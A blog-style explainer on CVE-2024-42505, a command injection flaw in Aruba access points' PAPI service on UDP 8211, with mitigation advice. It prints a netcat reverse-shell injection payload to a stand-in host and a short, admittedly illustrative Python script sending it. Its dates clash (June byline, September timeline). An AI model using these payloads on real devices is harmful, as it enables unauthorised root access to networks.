CVE-2024-42505 - How A Command Injection Bug In Aruba's PAPI Can Lead to Full Remote Control

*Author: cybersecurity-explainer | Date: June 2024*

Aruba Networks, one of the biggest names in wireless networking, recently patched a scary vulnerability: CVE-2024-42505. If you run Aruba Access Points—or you’re responsible for WiFi security—this long read will help you understand why this bug matters, how attackers can exploit it, and practical steps to keep your network safe.

What Is CVE-2024-42505?

The heart of CVE-2024-42505 is a command injection vulnerability found in the CLI service that sits beneath certain Aruba Access Points. This bug lets an attacker, sitting anywhere on the network (or potentially wider, depending on your exposure), run their code with root privileges, no password needed.

Aruba’s Advisory

Official advisory:
Aruba Product Security Advisory ARUBA-PSA-2024-004

Here’s the Aruba description

> “Command injection vulnerabilities in the underlying CLI service could allow unauthenticated remote code execution by sending specially crafted packets destined to the PAPI UDP port (8211).”

Let’s break that down

- CLI Service: The component that provides a "command line" for Aruba’s devices—for management and automation.
- PAPI Protocol (UDP 8211): Aruba’s custom management protocol, used internally between access points and controllers.

Unauthenticated: Attackers don’t need to log in or supply any password.

- Remote Code Execution: Attackers can run any code they like—often a stepping stone to full network compromise.

1. Where’s the Bug?

PAPI, the Proprietary Aruba Protocol, runs on UDP port 8211. It’s not supposed to be accessed from the open internet, but could be reachable inside campus, enterprise, or cloud-managed WiFi.

When a specially crafted packet arrives with malicious payload in certain CLI service commands, the device inserts attacker-supplied data directly into a system shell command—without proper filtering. That’s command injection, plain and simple.

Exploit Details

Imagine an attacker can send UDP packets to port 8211 of your Aruba AP.

A simplified exploit flow looks like this

1. Craft a PAPI packet embedding a malicious payload (; nc example.com 4444 -e /bin/sh ;).

Send the packet to the AP on UDP port 8211.

3. Device executes the injected command as root, giving attacker a reverse shell (or whatever code they like!).

Here’s a practical code snippet for educational purposes only

import socket

# Target Aruba AP and UDP port
target_ip = '192.168.1.10'
target_port = 8211

# Example payload to open a reverse shell to attacker's server 10...5:4444
malicious_command = "; nc 10...5 4444 -e /bin/sh ;"
# Wrap in dummy PAPI packet (exact structure depends on reverse engineering, this is illustrative)
packet = b"\x01\x00" + malicious_command.encode() + b"\x00"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, (target_ip, target_port))
print("Sent exploit packet.")

Note:
- You’d need to reverse engineer the actual PAPI packet structure for a real exploit (see Aruba PAPI protocol - Reverse Engineering Writeup).
- The CLI commands are exposed in the packet payload; attacker injects their code via shell metacharacters.

Successful exploitation

- Arbitrary code runs with root/system privileges.
- Attacker can change AP settings, exfiltrate WiFi credentials, move laterally inside your wireless or enterprise network.

Proof Of Impact

Shortly after the patch, researchers published working PoC exploits privately to threat intelligence subscribers.
This bug is considered ‘wormable’ in flat networks with lots of exposed APs.

Real-World Shodan Exposures

A quick Shodan search at the time of disclosure found thousands of Aruba APs with PAPI open to the internet (!!!).

Apply Firmware Updates

- Aruba’s latest firmware patches this bug for all affected models (see patches here).
- Full list: PSA-2024-004 Affected Products

Final Thoughts

CVE-2024-42505 is a wake-up call for anyone managing modern WiFi networks:
Even proprietary management protocols can hide critical flaws, and the result—in this case—is easy, unauthenticated remote code execution.

> Patch all Aruba APs as soon as possible. <br>> Block UDP/8211 traffic from untrusted sources—no exceptions!

If you’re still exposed, adversaries can already have their hands in your network’s most sensitive airspace.

Timeline

Published on: 09/25/2024 01:15:42 UTC
Last modified on: 09/26/2024 13:32:02 UTC